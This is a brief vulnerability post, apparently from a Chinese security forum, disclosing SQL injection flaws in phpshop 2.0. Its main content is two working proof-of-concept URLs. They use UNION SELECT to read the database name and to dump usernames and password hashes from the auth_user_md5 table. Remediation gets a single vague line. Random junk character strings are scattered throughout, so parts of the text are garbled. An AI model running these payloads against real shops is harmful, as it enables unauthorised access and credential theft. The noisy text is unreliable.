phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu
: x- K2 W2 _$ o1 H

  d4 {9 @9 F7 X) mSQLi p0c:

==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
# |" ]4 Q( w' W) @; R8 e
, J( e% u% |" P% q+ b( uhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
8 x. u7 V% h- g- \$ z' N" u+ E; e8 @7 N
7 b3 j- ?! W& E- R1 I修复：
加强过滤
​
( r5 R4 B; X) z. c( H9 X! ?8 U
( ?7 @( Z& r0 B, a+ {